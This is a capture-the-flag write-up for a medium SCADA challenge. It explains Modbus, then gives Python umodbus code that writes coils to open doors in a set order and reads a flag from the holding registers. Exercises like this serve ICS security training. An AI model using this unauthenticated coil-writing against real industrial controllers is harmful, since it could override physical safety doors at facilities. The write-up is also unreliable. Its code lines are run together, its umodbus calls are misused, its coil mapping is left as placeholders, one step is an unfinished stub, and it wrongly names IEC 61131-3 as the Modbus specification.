2023 Business CTF: Breach
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2023 Business CTF |
| Category | SCADA/ICS |
| Challenge | Breach |
| Difficulty | Medium |
Summary
Breach is a medium-level SCADA exploitation challenge involving a Modbus-based door control system for a chemical processing facility. The facility uses a unique multi-door system where sensors are hardwired to output coils. The goal is to manipulate the door sequence by exploiting this sensor-coil relationship to achieve facility infiltration and retrieve sensitive information from Modbus registers.
Challenge Information
The challenge description states:
“Our relentless search led us to a secure testing site, a hub for concocting chemicals used in planet terraforming. Given its critical nature, a unique door system segregates the entire facility, allowing only a single door to open before a decontamination process ensues. Currently, the control sensors seem to be inoperative, keeping the system idle. Intriguingly, someone seems to have hardwired the sensor inputs to the output coils. Perhaps, this might be our entry point into the building.”
Mission Objectives
- Achieve the correct door opening sequence:
[door_3, door_0, door_4, door_1, door_2] - Maintain the sequence (doors must open sequentially)
- Avoid triggering the decontamination process
- Extract the flag from Modbus holding registers (starting at address 4)
System Reset
The system will reset automatically approximately 2 minutes after mission completion.
Analysis
SCADA System Architecture
The facility uses a Modbus network for door control with the following components:
- Modbus Server: Runs on TCP port 502 (standard Modbus port)
- Door Control Coils: Output coils that control door locks
- Sensors: Input registers/discrete inputs that reflect door status
- Hardwired Coupling: Sensors are electrically coupled to coils
Modbus Protocol Overview
Modbus is an industrial protocol for controlling equipment:
Standard Registers:
- Discrete Inputs (Read-only): Digital input status
- Coils (Read/Write): Digital output control
- Input Registers (Read-only): Analog inputs
- Holding Registers (Read/Write): Configuration and analog outputs
Door Control Logic
The system uses:
- Coils for door control (set coil = open door)
- Sensors/inputs reflecting door state
- Hardwired coupling between sensors and coils
Critical Insight: Since sensors are hardwired to coils, writing to the coil affects the sensor reading, creating a feedback system.
Challenge Constraints
- Coil Access: Coils are restricted and cannot be directly written for most doors
- Sensor Coupling: Writing to one coil affects multiple sensors due to hardwiring
- Sequential Requirement: Doors must open in exact order: door_3 → door_0 → door_4 → door_1 → door_2
- Timeout: ~2 minutes to complete the sequence
Solution
Step 1: Establish Modbus Connection
Connect to the Modbus server using Python and umodbus library:
#!/usr/bin/python3
import socketfrom time import sleepfrom umodbus import conffrom umodbus.client import tcp
# Adjust modbus configurationconf.SIGNED_VALUES = True
# Create a socket connectionsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(('127.0.0.1', 502)) # Connect to Modbus serverStep 2: Enumerate Modbus Registers
Read the available registers to understand the door mapping:
# Read coils to understand current statecoils = tcp.read_coils(1, 0, 10, sock) # Read first 10 coils
# Read holding registersregisters = tcp.read_holding_registers(1, 0, 10, sock)
# Read input registers to see sensorsinputs = tcp.read_input_registers(1, 0, 10, sock)Step 3: Identify Door-Coil Mapping
Through testing, determine which coils correspond to which doors:
- door_0 → coil X
- door_1 → coil Y
- door_2 → coil Z
- door_3 → coil A
- door_4 → coil B
Step 4: Execute the Door Sequence
Following the required sequence [door_3, door_0, door_4, door_1, door_2], manipulate the coils in order:
# Sequence: door_3, door_0, door_4, door_1, door_2sequence = [ (3, True), # door_3 (0, True), # door_0 (4, True), # door_4 (1, True), # door_1 (2, True), # door_2]
for door_id, action in sequence: coil_address = door_id # Adjust based on actual mapping
# Write to coil to open door command = tcp.write_single_coil(1, coil_address, 1 if action else 0) tcp.send_message(command, sock)
# Wait for door to open sleep(1)
# Verify door opened by reading sensors status = tcp.read_discrete_inputs(1, coil_address, 1, sock) print(f"Door {door_id} opened: {status}")
# Brief delay before next door sleep(0.5)Step 5: Retrieve the Flag
Once the sequence is complete, read the flag from holding registers starting at address 4:
# Read holding registers starting at address 4# Flag is typically stored as ASCII values in consecutive registersflag_registers = tcp.read_holding_registers(1, 4, 20, sock)
# Convert register values to ASCII charactersflag = ''for register_value in flag_registers: if register_value > 0 and register_value < 256: flag += chr(register_value)
print(f"Flag: {flag}")
# Close connectionsock.close()Step 6: Handle Sensor-Coil Coupling
Account for the hardwired sensor-coil relationship:
def manipulate_system(): """ The hardwired coupling means: - Writing to one coil affects its corresponding sensor - Other sensors may also be affected due to parallel wiring - Need to carefully sequence operations to reach goal state """
# Read current sensor state sensors = tcp.read_discrete_inputs(1, 0, 10, sock)
# Identify which doors are affected for i, sensor_state in enumerate(sensors): print(f"Sensor {i}: {'Active' if sensor_state else 'Inactive'}")
# Manipulate coils based on sensor state # This requires understanding the circuit topologyModbus Command Reference
| Function | Code | Purpose |
|---|---|---|
| Read Coils | 01 | Read discrete outputs (door controls) |
| Read Discrete Inputs | 02 | Read discrete inputs (sensors) |
| Read Holding Registers | 03 | Read/write holding registers |
| Read Input Registers | 04 | Read analog inputs |
| Write Single Coil | 05 | Control a single door |
| Write Single Register | 06 | Write to register |
| Write Multiple Coils | 15 | Control multiple doors |
| Write Multiple Registers | 16 | Write multiple registers |
Key Takeaways
- Modbus Security: Modbus lacks authentication; access control is physical only
- ICS Vulnerabilities: Industrial systems often have non-standard security assumptions
- Hardwired Systems: Understanding physical wiring is as important as software logic
- Timing Attacks: Sequential system requirements create timing-based attack vectors
- Protocol Analysis: Use tools like Wireshark to analyze Modbus traffic
- Testing: Test systems should be as secure as production systems
Tools and Resources
- umodbus: Python library for Modbus communication
- Wireshark: Network traffic analysis for Modbus debugging
- Modbus Specification: IEC 61131-3 standard documentation
- libmodbus: C library for Modbus implementation